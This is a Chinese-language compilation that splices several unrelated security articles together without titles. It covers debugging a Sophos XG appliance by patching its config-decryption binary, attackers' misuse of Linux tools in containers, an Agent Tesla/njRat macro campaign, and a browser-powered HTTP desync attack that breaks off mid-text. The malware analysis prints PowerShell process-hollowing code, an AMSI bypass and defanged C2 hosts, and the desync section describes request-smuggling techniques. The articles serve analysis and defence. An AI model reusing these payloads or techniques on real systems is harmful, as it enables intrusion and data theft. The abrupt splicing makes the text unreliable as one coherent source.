將jdk-11.0.15_linux-x64_bin.tar.gz解壓:tar zxvf /tmp/jdk-11.0.15_linux-x64_bin.tar.gz

替換/lib/jvm/java-11-openjdk:

image.png

6.再次重啟服務執行命令:service tomcat:restart -ds nosync

查看服務狀態:service -S | grep tomcat

發現tomcat狀態為RUNNING

確認參數被修改,執行命令:ps ww|grep java

輸出:

image.png

7.修改防火牆規則執行命令:iptables -I INPUT -p tcp --dport 8000 -j ACCEPT

8.使用IDEA遠程調試如下圖

image.png

在調試過程中,如果遇到無法下斷點的情況,重啟java服務即可:service tomcat:restart -ds nosync

0x05 csc配置文件解密查看csc進程相關信息。

執行命令:ps ww|grep csc

部分輸出:

image.png

csc進程讀取/_conf/cscconf.bin作為配置文件,而/_conf/cscconf.bin是一個加密的文件,所以這裡需要對/_conf/cscconf.bin進行解密。

這裡我採用的方法是通過IDA修改程序代碼,改變實現邏輯,導出解密後的配置文件。

使用IDA加載csc,查看main()函數的實現邏輯,部分代碼:

image.png

分析以上代碼,csc先調用extract_conf()函數導出配置,最後執行系統命令rm -rf /_conf/csc/csc /_conf/csc/csc.conf /_conf/csc/cscconf//_conf/csc/constants.conf /_conf/csc/cscconf.tar.gz /_conf/csc/global.conf /_conf/csc/cfsconf /_conf/csc/service /_conf/csc/bind_file_list刪除配置文件,導致我們無法直接獲得相關配置文件。

查看extract_conf()函數的實現代碼:

image.png

分析以上代碼,csc先調用sub_8052494()函數對/_conf/csc/cscconf.tar.gz進行解密,接著執行系統命令tar -zxf /_conf/csc/cscconf.tar.gz -C /_conf/csc將配置文件釋放到文件夾/_conf/csc

綜合以上分析,我們可以採取以下方式導出配置文件:修改csc程序,將釋放路徑/_conf/csc修改為另一路徑,例如/var/aaaaa,那麼,csc在刪除配置文件時,由於指定了固定的絕對路徑,導致無法刪除新的文件夾,這樣我們就能從中獲得完整的配置文件。

具體的實現方法如下:(1)修改csc使用IDA加載csc,查看Exports,找到extract_conf,雙擊進入IDA View,定位到字符串tar -zxf /_conf/csc/cscconf.tar.gz -C /_conf/csc,如下圖:

image.png

切換到Hex View,如下圖:

image.png

將/_conf/csc修改為/var/aaaaa,如下圖:

image.png

右鍵選擇Apply changes

依次選擇Edit-Patch program-Apply patches to input file.-OK,生成新的文件csc

(2)替換csc通過ssh登錄,上傳新的文件csc,保存至/tmp/csc

備份csc並進行替換,執行以下命令:

image.png

(3)確認配置文件是否導出成功等待系統重啟,進入底層shell,依次輸入5.Device Management-3.Advanced Shell

查看文件夾/var/aaaaa,如下圖:

image.png

配置文件導出成功。

(4)恢復csc image.png

(5)下載配置文件通過ssh登錄,下載文件夾/var/aaaaa中的內容。

0x06 Postgresql數據庫查詢查看端口信息,執行命令:netstat -tulpen |grep postgres

輸出:

image.png

通過搜索,發現以上三個數據庫的連接信息依次對應以下三個文件:

马云惹不起马云 /usr/share/webconsole/properties/ConnectionPool.cfg

马云惹不起马云/usr/share/webconsole/properties/ConnectionPoolForReports.cfg

马云惹不起马云/usr/share/webconsole/properties/ConnectionPoolForSignature.cfg

文件中的配置信息如下:

马云惹不起马云JDBCConnectionURL=jdbc:postgresql://127.0.0.1:5432/corporate?user=pgrouserautoReconnect=true

马云惹不起马云JDBCConnectionURL=jdbc:postgresql://127.0.0.1:5433/iviewdb?user=pgrouserautoReconnect=true

马云惹不起马云JDBCConnectionURL=jdbc:postgresql://127.0.0.1:5434/signature?user=pgrouserautoReconnect=true

測試命令1:

image.png

輸出:

image.png

提示沒有權限。

測試命令2:

image.png

能夠獲得用戶信息。

注:將用戶pgrouser換成nobody具體相同的權限。

從以上信息得知,用戶pgrouser和nobody都不是root用戶,功能受限,下面嘗試尋找root用戶。

對解密的csc配置文件進行檢測,定位到\service\postgres.csc,關鍵文件內容:

image.png

找到關鍵用戶pgroot

測試命令3:

image.png

執行成功。

0x07 小結本文介紹了在搭建Sophos XG調試環境過程中一些問題的解決方法。

通過趨勢科技的蜜罐和監測技術,研究人員能夠觀察到攻擊者濫用原生Linux 工具對Linux 環境發起攻擊的實例。

採用容器已經成為主流,各類企業的使用率都在上升。根據CNCF 的一項調查,93% 的受訪者目前正在或計劃在其運行中使用容器。像Kubernetes這樣的容器項目和其他在雲和互聯網上可用的工具,已經導致了組織運作方式發生變化,從單一架構到創建由微服務組成的分佈式系統。

由於使用了容器這些變化也導致了攻擊面的擴大,特別是通過在部署中引入的安全錯誤配置或漏洞。對於使用容器的企業來說,補丁管理常常是一項巨大的任務,這意味著更新並不總是及時地實現,這使得云安全更加複雜。

研究人員已經在面向公眾的Web 應用程序中發現了各種來源的嚴重漏洞,從易受攻擊的開源庫(Log4Shell 和Spring4Shell)到框架(Apache Struts 和Drupal),甚至是諸如Atlassian Confluence、Oracle WebLogic Server 和Apache HTTP Server等應用程序。一旦漏洞的概念證明(POC) 被披露,攻擊者就可以利用它們執行惡意任務,從挖掘加密貨幣到有時部署勒索軟件。

從防御者的角度來看,理想的結果是阻止攻擊者獲得最初的立足點。然而,情況並非總是如此。如果攻擊者確實設法進入系統,則防御者的工作就是通過使用縱深防禦策略使攻擊者更難成功地完成攻擊。

通過蜜罐網絡和監控分析,研究人員能夠觀察到大多數成功利用嘗試的一些有趣特徵,特別是攻擊者如何在其例程中使用本機Linux 工具。

在Linux 環境中使用合法實用程序和工具檢查攻擊對基於Linux 的系統的攻擊通常遵循標準的利用鏈。首先,攻擊者利用一個漏洞或一系列漏洞來獲得對環境的初始訪問權限(我們現在可以將其視為受到攻擊)。此時,攻擊者可以採取不同的路徑進一步進入被破壞的環境:

1.枚舉當前環境的上下文(發現);

2.從環境中洩露敏感數據(洩露、影響);

3.通過刪除應用程序執行拒絕服務攻擊(影響);

4.通過下載挖礦軟件來挖掘加密貨幣(影響);

5.嘗試其他技術(權限升級、橫向移動、持久性或憑據訪問);

1.png

攻擊者如何在受感染的環境中進一步發起攻擊

基於真實世界的攻擊和蜜罐捕獲的樣本,研究人員觀察到攻擊者使用與Linux 發行版捆綁在一起的各種啟用工具,例如curl、wget、chmod、chattr、ssh、base64、chroot、crontab、ps 和pkill ,這些工具都可以被攻擊者利用。

我們已經看到攻擊者在野外濫用這些工具。至少應該考慮這些實用程序的存在,尤其是在容器環境中,因為它們為攻擊者提供了額外的途徑。

2.png

使用base64解碼有效負載,以便稍後執行

base64 工具是一個Linux 實用程序,用於解碼以base64 格式編碼的字符串。攻擊者經常使用base64 編碼來混淆他們的有效載荷和命令以逃避檢測(T1027),我們在之前的文章《恶意Shell脚本的进化》 中詳細描述了這種技術。

3.png

使用“cat”進程查看所有用戶的.bash_history

.bash 歷史文件存儲在用戶的主目錄中,記錄用戶在其bash shell 上執行的命令。眾所周知,攻擊者會從這些文件中提取信息以了解當前環境的上下文,正如我們之前在另一篇文章中所詳述的那樣,錯誤配置的Docker 守護程序API 端口因Kinsing 惡意軟件活動而受到攻擊。

4.png

使用“cat”進程查看“/etc/passwd”

作為枚舉步驟的一部分,攻擊者訪問/etc/passwd 文件,該文件包含環境中已註冊用戶的列表,並顯示給定用戶是否具有與其登錄相關聯的shell(T1003.008)。此信息有助於攻擊者了解環境並確定有價值的用戶。

5.png

使用“chattr”` 將/etc/crontab 文件修改為可變

chattr 實用程序用於更改文件和文件夾屬性,以控製文件的刪除和修改等突發操作。上圖中的示例顯示/etc/crontab 文件的屬性已被更改,導致文件不安全。正如《分析TeamTNT 的活动》 中所討論的,該實用程序之前已被觀察到被TeamTNT 濫用。

6.png

使用“chmod”使文件可執行

chmod工具用於修改文件模式,實現用戶/組訪問粒度化。它需要執行新下載的可執行文件,在本例中,我們看到/tmp路徑上的agettyd文件被設置為可執行位。

7.png

使用“crontab”刪除所有現有的cron 作業

cron作業是用於調度任務(或作業)的實用工具。眾所周知,攻擊者濫用cron作業並修改“crontab”來執行執行、持久性,有時還會使用特權升級技術(T1053.003)。上圖中的示例顯示了對現有cron作業的刪除。這種情況很常見,加密貨幣挖礦軟件通過刪除其他挖礦軟件的痕跡來劫持盡可能多的資源。《Linux 加密货币挖矿软件之战》 深入討論了這些活動。

8.png

使用“curl”將系統信息洩露給攻擊者

curl 或cURL 實用程序用於跨不同協議傳輸數據,例如HTTP、HTTPS 和文件傳輸協議(FTP)。上圖中的示例顯示操作系統版本和發布版本等系統信息作為POST 請求發送到攻擊者的基礎設施。

9.png

使用“curl”從GitHub 下載xmrig 二進製文件

在本例中,curl用於從Github下載XMRig 挖礦軟件的二進製文件。眾所周知,攻擊者濫用像Github和Netlify這樣的合法平台來服務於加密挖掘工具,正如我們在之前的《通过 GitHub、Netlify 提供的门罗币挖掘恶意软件漏洞》 博客中解釋的那樣。

10.png

使用“pkill”阻止競爭進程/coinminer

kill 套件實用程序用於向進程發送信號,如上圖中的示例所示,它將SIGKILL 信號發送到名為“kdevtmpfsi”的進程。早在2020 年,我們就一直在追踪名為kdevtmpfsi 的加密貨幣挖礦軟件,《分析 Kinsing 恶意软件对 Rootkit 的使用》 展示了另一個競爭挖礦軟件被終止的例子。

11.png

使用“ps”查看正在運行的進程

ps 實用程序用於查看進程的狀態。上圖顯示了ps aux 命令獲取有關進程的詳細信息,例如係統上當前正在運行的進程、進程ID 和進程權限。此信息可以幫助攻擊者執行與發現相關的技術(T1057 ——進程發現)並獲取有關他們所處環境的信息。

12.png

使用“rm”從/tmp 目錄中刪除隱藏文件

在上圖中,我們看到rm 工具用於刪除/tmp 目錄下的隱藏文件和文件夾。在文件或文件夾名稱之前,攻擊者可以通過添加“.”來創建隱藏目錄以逃避檢測(隱藏工件:隱藏文件和目錄- T1564.001)。

13.png

使用“ssh”通過XMR 挖礦軟件感染底層主機

ssh 實用程序是用於通過Secure Shell (SSH) 以類似蠕蟲的方式訪問系統的遠程客戶端。在上圖中,攻擊者嘗試下載Monero 挖礦軟件(使用wget/curl)並感染正在嘗試SSH 的遠程計算機(127.0.0.1)。一旦攻擊者由於容器的不安全配置(例如,特權容器)而掛載了底層主機的文件系統,他們就會創建新的SSH 密鑰對,使用它來建立“ssh”會話,並用加密貨幣挖礦軟件感染底層主機。

14.png

使用“wget”、“curl”、“chmod”下載並執行Mirai 惡意軟件

在此示例中,我們看到了不同Linux 實用程序的組合使用,其中下載了二進製文件,修改了權限,然後再執行。名為“runnable”的可執行文件是在CVE-2021-44228跟踪的Log4shell漏洞被利用後發布的Mirai示例。

15.png

使用“whoami”查看當前用戶上下文

16.png

顯示攻擊者使用“chroot”和“base64”的工作台

使用Vision One 工作台,我們看到攻擊者正在使用chroot 和base64 實用程序。請注意,chroot 用於將根更改為提供的目錄(在本例中為/host),其中底層主機的文件系統安裝在容器中。在《为什么特权容器很容易被攻击》 一文中,我們探討了此函數在授予容器時所帶來的風險。

保護Linux 系統免受實用程序濫用的最佳實踐使用distroless 鏡像通過觀察上一節中討論的技術,我們看到攻擊者可以使用一組與完整操作系統捆綁在一起的工具。作為防御者,使用只包含我們需要的工具的容器映像並刪除不需要的工具會更安全。

這種安全方法可以在很大程度上幫助降低風險,即使是針對諸如Log4Shell 之類的關鍵漏洞也是如此。減少應用程序運行所需的工具數量也減少了由開源庫和工具中的依賴漏洞引入的攻擊面。這裡介紹無發行映像的概念,這些映像被描述為僅包含應用程序及其運行時依賴項的映像,消除了你期望在典型Linux 發行版中找到的程序,例如包管理器和shell。

Cloud One 工作負載安全——應用程序控制從防御者的角度來看,重點應該是通過縱深防禦策略抵禦。雖然對系統進行更改以盡量緩解甚至防止濫用會有所幫助,但利用多種安全措施的多層方法將提供最強的安全級別,理想情況下是將最佳實踐與有效的防禦技術結合起來。

對於非容器化環境,Cloud One 工作負載安全提供了應用程序控制模塊,該模塊監控軟件更改並根據設置的配置允許或阻止它們。它創建現有應用程序的基線並將規則應用於下載和安裝的新應用程序。它基於二進製文件的SHA256 哈希值工作。

它為用戶提供了執行以下操作的選項:

在明確允許之前阻止無法識別的軟件;

在明確阻止之前允許無法識別的軟件;

我們在Ubuntu 20.04 長期支持(LTS) 服務器上使用wget 從GitHub 下載nmap 網絡枚舉工具的預編譯二進製文件。然後,服務器配置了Cloud One 工作負載安全代理,該代理運行應用程序控制模塊,為無法識別的軟件設置為“阻止”模式。如下圖所示,應用程序控制阻止了執行。

17.png

使用來自Cloud One Workload Security的Application Control模塊防止“nmap”二進製文件的執行

18.png

在Cloud One Workload Security上對應的事件,我們看到“nmap”二進製文件被阻止執行

總結由於攻擊者利用了內置在操作系統中的合法工具和實用程序,防御者將需要優先考慮如何在攻擊的不同階段設置控制。通過在容器中使用無分發映像和應用預防性控制(如Cloud One Workload Security的應用程序控制)來最小化攻擊面,可以大大降低針對雲環境的攻擊者的速度。在組織無法使用無發行版實現的情況下,也可以使用相同映像的“精簡”版本來減少攻擊面並加強雲部署的安全性。

研究人員最近發現了一些惡意的Microsoft Office文件,這些文件試圖利用合法網站MediaFire和Blogger執行shell腳本,然後釋放Agent Tesla和njRat的兩個惡意變體。 Agent Tesla是一款著名的監視軟件,首次發現於2014年,它可以從web瀏覽器、郵件客戶端和FTP服務器中竊取個人數據,收集屏幕截圖和視頻,並收集剪貼板數據。 njRat(也稱為Bladabindi)是2013年首次發現的遠程代理木馬,能夠遠程控制受害者的設備,記錄擊鍵、訪問攝像頭、竊取瀏覽器中存儲的憑據、上傳/下載文件、操作註冊表等。

马云惹不起马云受影響的平台:Microsoft Windows

马云惹不起马云受影響方:Windows用戶

马云惹不起马云影響:控制和收集受害者設備中的敏感信息

马云惹不起马云 嚴重級別:嚴重

在本文中,我們將詳細介紹我們發現的文件、它們用於傳播有效負載的嵌入腳本,以及這些惡意軟件變體的行為。

第1階段在2022年9月,研究人員發現了兩種文件。一個是PowerPoint加載項,另一個是包含誘餌圖片和嵌入Excel表單的Word文件。這兩個文件都包含類似的VBA腳本,在打開文件後立即執行宏。

1.png

根據PPT插件中的VBA腳本(如上圖所示),代碼會自動觸發,因為它使用了“Auto_Open()”函數。其“ControlTipText”和“Tag”字段包含完整的命令“mshta”和MediaFire URL。我們可以在“vbaProject.bin”中看到完整的URL。

2.png

PPT加載項中的VBA宏

3.png

vbaProject.bin文件中完整的惡意URL

第2階段從下圖所示的Process Explorer中可以看到,“mshta”進程在點擊文件中的“Enable Macros”後立即啟動。這導致了MediaFire網站,這是一個合法的文件和圖片共享平台。

4.png

點擊“Enable Macros”後的Process Explorer

以下是第一階段VBA宏中“1.htm”的內容:

5.png

從MediaFire下載的“1.htm”

下圖顯示了將一些十六進製字符串轉換為ascii字符串後的更清晰的圖片。

6.png

轉換後的“1.htm”

這個HTML文件有三個主要任務:

1.從MediaFire網站傳送第三階段腳本文件;

2.終止任務WINWORD.EXE;

3.通過創建計劃任務添加持久性。它使用“mshta”連接到“http[:]//www.webclientservices.co[.]uk/p/1[.]html”網站,該網站每73分鐘包含一個類似的腳本。以下是2022年9月的博客截圖:

7.png

9月中旬www[.webclientservices[.co[.uk/p/1[.html]網頁

研究人員還發現,“www[.]webclientservices[.]co[.]uk”中的1.html文件已更新並重命名為“real all BACK SEP 2022”。嵌入式JavaScript也被修改了,現在可以發布其他惡意軟件。

8.png

9月底發現的www[.]webclientservices[.]co[.]uk/p/1[.]html更新頁面

第3階段“1.txt”中的PowerShell腳本是從MediaFire下載的,它通過進程空心化技術提供最終有效負載。它首先終止所有相關進程,並對加載程序和有效負載進行解碼。然後它調用最終有效載荷並部署它,繞過AMSI。主要惡意軟件和部分代碼被編碼並替換為字符串,以增加分析的難度。

9.png

用於加載代理特斯拉的PowerShell的全圖

10.png

執行PowerShell後的Process Explorer

在“Load Agent Tesla Payload”過程的第二部分中,變量$CLE11和$RNBX1是更換一些字符串後的最終有效負載和加載器。基於.NET的不同版本,它自定義了繼續進行進程空心化活動的路徑:

$Path='C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe'

$Path2='C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe'

$Path3='C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe

[Ref]/Assembly:Load((HexaToByte($RNBX1))).GetType('CALC'.PAYSIAS'.'GetMethod'(Execute).Invoke($null,[object[]] ($Path, HexaToByte($CLE11)));

研究人員將$RNBX1保存為可執行文件,並用dnSpy打開它。目標類和方法如下圖所示。此.Net加載器利用一些模糊處理來隱藏主要API(CreateProcess、VirtualAllocEx…等)。

11.png

Net Loader

研究人員找到了目標進程“jsc.ex”、“caspol.exe”和“Msbuild.exe”,它們在受害者的設備中安靜運行。詳細信息如下圖所示。

12.png

流程空心化時的Process Explorer

在PowerShell部分的末尾,它禁用了日誌記錄,並通過打補丁繞過AMSI。詳細步驟如下所示。

13.png

繞過PowerShell中的AMSI

最後階段(第一部分)第一個惡意軟件負載是Agent Tesla。這種變體在9月中旬開始傳播。它包括合法的文件信息,“NirSoft”公司的“Web瀏覽器密碼查看器”,並使用FTP發送被盜數據。

14.png

Agent Tesla的基本信息

下圖是用於傳輸提取數據的攻擊者FTP服務器信息的屏幕截圖,包括用戶名和密碼。此變體還將自身複製到%appdata%目錄中,文件名為“NGCwje.exe”以進行持久化。

15.png

攻擊者的服務器信息

然後,它開始提取受害者設備的信息,例如基板的序列號、處理器ID和MAC地址。然後,它為該數據生成一個MD5哈希。

16.png

為受害設備的信息生成Md5哈希

Agent Tesla使用一個典型的應用程序列表來竊取登錄憑據、Cookie、郵件信息和VPN數據。這些項目的一部分如下圖所示:

17.png

目標瀏覽器應用程序列表

一旦惡意軟件從受害者的設備檢索到憑證和其他信息,它通過使用硬編碼IP的FTP協議發送這些數據。

18.png

使用FTP協議

19.png

從受害者設備捕獲的流量

根據遇到的不同類型的文件,它使用四種打開字符串:“CO”表示cookie數據,“KL”表示鍵盤記錄,“PW”表示受害者的密碼信息,“SC”表示屏幕截圖文件。惡意軟件使用下劃線將數據類型、用戶名、設備名稱和時間戳連接在一起,作為數據ZIP文件的文件名。被盜zip文件列表如下所示:

20.png

FTP服務器上Zip文件的部分列表

最後階段(第二部分)第二個有效載荷是njRat,也稱為Bladabindi。它是一個.NET特洛伊木馬,用於控制和監控受害者的設備。此變體對其字符串生成和代碼流使用模糊處理。從方法ko()的IDA圖形概覽中,你可以看到這個變體更複雜,但你仍然可以識別類似的函數。

21.png

IDA圖概述

22.png

njRat的入口點

23.png

字符串解碼功能

首先,它在“Startup”和“Templates”文件夾中創建lnk和exe文件,文件名為“Windows”。這個名字用來欺騙用戶和分析師,讓他們認為它是合法的Windows文件。

24.png

創建持久性

然後,它以相反的順序獲取命令和控制服務器主機名和端口號。

25.png

命令和控制服務器信息

為了確保此惡意軟件只在此受害者上運行一次,它添加了名為“di”、數據為“!”的“HKEY_CURRENT_USER”。

26.png

添加到“HKEY_CURRENT_USER”中的註冊表

27.png

註冊表狀態

它還創建了一個帶有字符串“Windows”的互斥鎖,將環境變量“SEE_MASK_NOZONECHECKS”設置為1,並檢查此互斥鎖是否以前創建過。如果是,則結束該過程。

28.png

創建互斥鎖

29.png

設置環境變量

如下圖所示,收集設備信息後,它使用base64對其進行編碼並連接數據。然後,它使用硬編碼的TCP端口7575將數據傳輸到服務器“mobnew6565[.]duckdns[.]org”。

30.png

連接數據

以下是Win10受害者設備的C2流量。分隔符更改為“|-F-|”,版本為“v4.0”,但數據包的格式類似於舊的njRat版本:

31.png

從受害者處捕獲的流量

除了Agent Tesla和njRat,研究人員還在更新的HTML文件“www.webclientservices.co[.]uk/p/1[.]HTML”中找到了一個簡短的腳本,該文件將挖礦軟件下載到“C:\\ProgramData”。這是一種奇怪的行為,因為此攻擊鏈中的每個步驟都試圖在受害者的設備上不留下任何物理跟踪或文件。研究人員認為這可能會分散受害者的注意力,以免他們注意到另一個進程正在加載njRat。

32.png

下載挖礦軟件的JavaScript

33.png

njRat和miner的Process Explorer視圖

總結Agent Tesla和njRat多年來都是高度活躍的惡意軟件。它們的功能成熟,易於用於監視或竊取信息。如上所述,惡意URL不斷更新其嵌入的JavaScript,這意味著這些釣魚電子郵件和誘騙辦公室文件始終是傳播此惡意軟件的有效方式。網站中嵌入的所有VBA宏、PowerShell和JavaScript代碼都可以部署無文件攻擊,也可以通過混淆或編碼字符串來逃避一些病毒檢測。

用戶應始終警惕任何包含外部網站鏈接的辦公室文件或未知文件。

34.png

攻擊流程

60a7-article-browser-powered_desync_attacks_article.jpg

我將在本文介紹如何將受害者的Web 瀏覽器變成一個異步的傳播平台,通過暴露一個獨立的服務器網站和內部網絡來轉移請求走私的邊界。你將學習如何將跨域請求與服務器漏洞相結合,以攻擊瀏覽器連接池、安裝後門,並釋放異步攻擊。使用這些技術,我將攻擊包括Apache、Akamai、Varnish、Amazon 和多個Web VPN 在內的目標。

接下來我將分享一種結合瀏覽器特點和自定義開源工具的方法。除此之外,我還將介紹一種黑盒分析策略,該策略解決了長期存在的異步障礙,並揭示了一種極其有效的新穎異步觸發器。由此產生的後果將包括客戶端、服務器端甚至MITM 攻擊。最後,我將介紹修改HTTPS 以在Apache 上觸發MITM 驅動的異步。

本文使用的術語“瀏覽器驅動的異步攻擊”表示可以通過Web 瀏覽器觸發的所有異步攻擊。這包括所有客戶端異步攻擊,以及一些服務器端攻擊。

本文的示例都是取材於真實網站。本文中引用的所有漏洞均已報告給相關供應商,並已修補,除非另有說明。

連接狀態攻擊如果你沒有嘗試請求走私攻擊,很容易忘記HTTP 連接重用並將HTTP 請求視為獨立對象。畢竟,HTTP 應該是無狀態的。然而,下面的層(通常是TLS)只是一個字節流,很容易找到實現不佳的HTTP 服務器,假設通過單個連接發送的多個請求必須共享某些屬性。

在野外看到的主要漏洞是服務器假設通過給定TLS 連接發送的每個HTTP/1.1 請求都必須具有相同的預期目標和HTTP Host 標頭。由於網絡瀏覽器符合這個假設,所以在有人使用Burp Suite 之前一切都會正常工作。

我發現了兩個不同的場景,這個漏洞均造成了很大的安全後果。

第一個請求驗證反向代理通常使用Host 標頭來識別將每個請求路由到哪個後端服務器,並有一個允許人們訪問的主機白名單:

1.png

但是,我發現一些代理只對通過給定連接發送的第一個請求應用此白名單。這意味著攻擊者可以通過向允許的目的地發出一個請求來訪問內部網站,然後通過相同的連接向內部網站發出一個請求:

2.png

幸運的是,這種漏洞非常罕見。

第一個請求路由第一個請求路由是一個密切相關的漏洞,發生在前端使用第一個請求的Host 標頭來決定將請求路由到哪個後端,然後將來自同一客戶端連接的所有後續請求路由到同一後端連接。

這本身不是一個漏洞,但它使攻擊者能夠使用任意Host 標頭攻擊任何後端,因此它可以與Host 標頭攻擊鏈接在一起,例如密碼重置攻擊、Web 緩存攻擊以及獲得對其他虛擬主機的訪問權限。

在此示例中,我們希望使用“psres.net”的攻擊主機標頭攻擊example.com 的後端,以進行密碼重置攻擊,但前端不會路由我們的請求:

3.png

然而,通過對目標網站的有效請求開始我們的請求序列,我們可以成功到達後端:

4.png

希望能給受害者發一封帶有釣魚鏈接的郵件:

5.png

你可以使用HTTP Request 走私中的“連接狀態探測”選項掃描這兩個漏洞。

大多數HTTP 請求走私攻擊可以描述如下:

發送一個長度不明確的HTTP 請求,使前端服務器與後端對消息的結束位置產生分歧,從而將惡意前綴應用於下一個請求。此分歧通常是通過混淆的傳輸編碼標頭來實現的。

該漏洞是由以下HTTP/2請求觸發的,該請求沒有使用任何混淆或違反任何RFC。甚至對於長度沒有任何歧義,因為HTTP/2 在幀層中有一個內置的長度字段:

6.png

此請求觸發了來自運行AWS Application Load Balancer (ALB) 作為其前端的各種網站的非常可疑的間歇性400 漏洞請求響應。調查顯示,ALB在將請求降級為HTTP/1.1轉發到後端時,添加了一個“Transfer-Encoding: chunked”標頭,而沒有對消息正文進行任何更改:

7.png

我只需要提供一個有效的被chunk對象:

8.png

這是一個發現漏洞的完美示例,它讓你回溯實際發生的情況和原因。這個請求只有一個不尋常的地方,它沒有Content-Length (CL) 標頭。由於前面提到的內置長度字段,在HTTP/2 中省略CL 是明確可接受的。然而,瀏覽器總是發送一個CL,所以服務器顯然不會期望沒有CL的請求。

檢測連接鎖定的CL.TE有了這兩個經驗教訓,我決定解決我去年在HTTP/2 研究中強調的一個未解決的問題,連接鎖定HTTP/1.1 請求走私漏洞的通用檢測。連接鎖定是指前端為與客戶端建立的每個連接創建一個到後端的新連接的常見行為。這使得直接的跨用戶攻擊幾乎不可能,但仍然留下了其他攻擊途徑。

要識別此漏洞,你需要通過單個連接發送“攻擊者”和“受害者”請求,但這會產生大量誤報,因為服務器行為無法與稱為HTTP管道的常見無害特性區別開來。例如,給定以下CL.TE 攻擊的請求/響應序列,你無法判斷目標是否易受攻擊:

9.png

HTTP 管道在Burp Repeater 中也可見,它通常被誤認為是真正的請求走私:

10.png

你可以通過將requestsPerConnection 設置從1 增加到自己在Turbo Intruder 中的測試,這只是要做好誤報的準備。

我浪費了很多時間試圖調整請求來解決這個問題。但事實證明,上面的響應不能證明存在漏洞,並且解決方案立刻就出現了:

從上面的響應序列可以看出,由於隨後的404 響應,後端正在使用傳輸編碼標頭解析請求。但是,你無法判斷前端是否使用請求的Content-Length ,並因此易受攻擊,或者是否安全地將其視為許多chunk,並假設橙色數據已通過管道傳輸。

要排除管道的可能性並證明目標確實易受攻擊,你只需在使用0\r\n\r\n 完成chunk處理請求後暫停並嘗試提前讀取。如果服務器在你的讀取嘗試期間做出響應,則表明前端認為該消息還是完整的,因此必須將其安全地分割成很多小塊:

11.png

如果你的讀取嘗試被暫停,這表明前端正在等待消息完成,因此必須使用Content-Length,從而使其易受攻擊:

12.png

這種技術也可以很容易地適應TE.CL 漏洞。將其集成到HTTP Request 走私中很快發現了一個在Barracuda WAF後面運行IIS 的網站,該網站容易受到傳輸編碼的影響。有趣的是,修復這個漏洞的更新已經出現了,但它是作為一種投機性的修復措施來實現的,所以它沒有被標記為安全版本,攻擊設備也沒有安裝它。

CL.0 瀏覽器兼容的異步雖然原先將另一個網站標記為最初看起來像連接鎖定的TE.CL 漏洞。但是,服務器沒有按預期響應我的手動探測和讀取。當我嘗試簡化請求時,我發現傳輸編碼標頭實際上被前端和後端完全忽略了。這意味著我可以完全利用它,發起攻擊:

13.png

前端使用的是Content-Length,但後端顯然完全忽略了它。結果,後端將正文作為第二個請求的方法的開始。忽略CL等同於將其視為值為0,因此這是一個CL.0異步,這是一種已知但較少探索的攻擊類。

14.png

關於此漏洞的第二個也是更重要的一點是,它是由一個完全有效的、符合規範的HTTP 請求觸發的。這意味著前端防禦它的機會為零,甚至可以由瀏覽器觸發。

攻擊是可能的,因為後端服務器根本不會接收到POST 請求。

amazon.com 上的H2.0對CL.0/H2.0 異步漏洞實施粗略掃描檢查後發現,它們影響了包括amazon.com 在內的眾多網站,亞馬遜網站忽略了發送到/b/的請求的CL:

15.png

我通過創建一個簡單的概念證明(PoC) 來確認此漏洞,該概念將隨機實時用戶的完整請求(包括身份驗證令牌)存儲在我的清單中:

16.png

在我向亞馬遜報告此事後,我意識到我還是錯過了一個危害更大的漏洞。攻擊請求非常普通,我可以讓任何人的網絡瀏覽器使用fetch() 發出它。通過在亞馬遜上使用HEAD 技術創建一個XSS 小工具並在受害者的瀏覽器中執行JavaScript,我可以讓每個受攻擊的受害者自己重新發起攻擊,並將其傳播給其他人。這樣就會產生一個異步攻擊,一種自我複制的攻擊,利用受害者在沒有用戶交互的情況下發起的攻擊,迅速利用亞馬遜上的每個活躍用戶。

我不建議在你的工作系統上嘗試此操作,但在暫存環境中嘗試可能會很有趣。

客戶端異步傳統的異步攻擊利用的是前端和後端服務器之間的連接,因此在不使用前端/後端架構的網站上是不可能的。從現在開始,我將把它稱為服務器端異步。大多數服務器端異步只能由發出格式漏洞的請求的自定義HTTP 客戶端觸發,但是,正如我們剛剛在amazon.com 上看到的,有時可以創建由瀏覽器驅動的服務器端異步。

瀏覽器導致異步的能力會引發一類全新的威脅,我將其稱為客戶端異步(client-side desync,CSD),其中異步發生在瀏覽器和前端服務器之間。這使得可以利用獨立的服務器網站,這很有價值,因為它們通常在HTTP 解析方面非常糟糕。

CSD 攻擊始於受害者訪問的感染網站,然後讓他們的瀏覽器向易受攻擊的網站發送兩個跨域請求。第一個請求的目的是使瀏覽器的連接異步,並使第二個請求觸發有害響應,通常使攻擊者控制受害者的帳戶:

17.png

攻擊方法在嘗試檢測和利用客戶端異步漏洞時,你可以重用來自服務器端異步攻擊的許多概念。主要區別在於,整個漏洞利用序列都發生在受害者的網絡瀏覽器中,這個環境比專用黑客工具更加複雜和不受控制。這帶來了一些新的挑戰,這給我在研究這項技術時帶來了很大的阻礙。為此,我開發了以下方法:

18.png

探測第一步是識別你的CSD 矢量。這個基本原語是漏洞的核心,也是構建漏洞利用的平台。我們已經在HTTP Request 走私和Burp Scanner 中實現了對這些的自動檢測,但是了解如何手動進行檢測仍然很有價值。

CSD 向量是具有兩個關鍵屬性的HTTP 請求。

首先,服務器必須忽略請求的Content-Length (CL)。這種情況通常會發生,因為請求要么觸發了服務器錯誤,要么服務器根本不期望向所選端點發出POST請求。嘗試針對靜態文件和服務器級重定向,並通過超長URL 和/%2e%2e 等半格式錯誤觸發漏洞。

其次,請求必須在web瀏覽器的跨域觸發。瀏覽器嚴重限制了對跨域請求的控制,因此你對標頭的控制有限,如果你的請求有正文,則需要使用HTTP POST 方法。最終,你只控制URL,加上一些零星的結尾,如Referer 標頭、正文和Content-Type 的後半部分:

微信截图_20220829140500.png

現在我們已經編寫了攻擊請求,我們需要檢查服務器是否忽略了CL。作為簡單的第一步,使用超長的CL 發出請求並查看服務器是否仍然回复:

20.png

這是有希望的,但不幸的是,一些安全服務器無需等待正文即可響應,因此你會遇到一些誤報。其他服務器沒有正確處理CL,而是在響應後立即關閉每個連接,使它們無法被利用。要過濾掉這些,請在同一連接下發送兩個請求,並查找第一個請求的正文影響對第二個的響應:

21.png

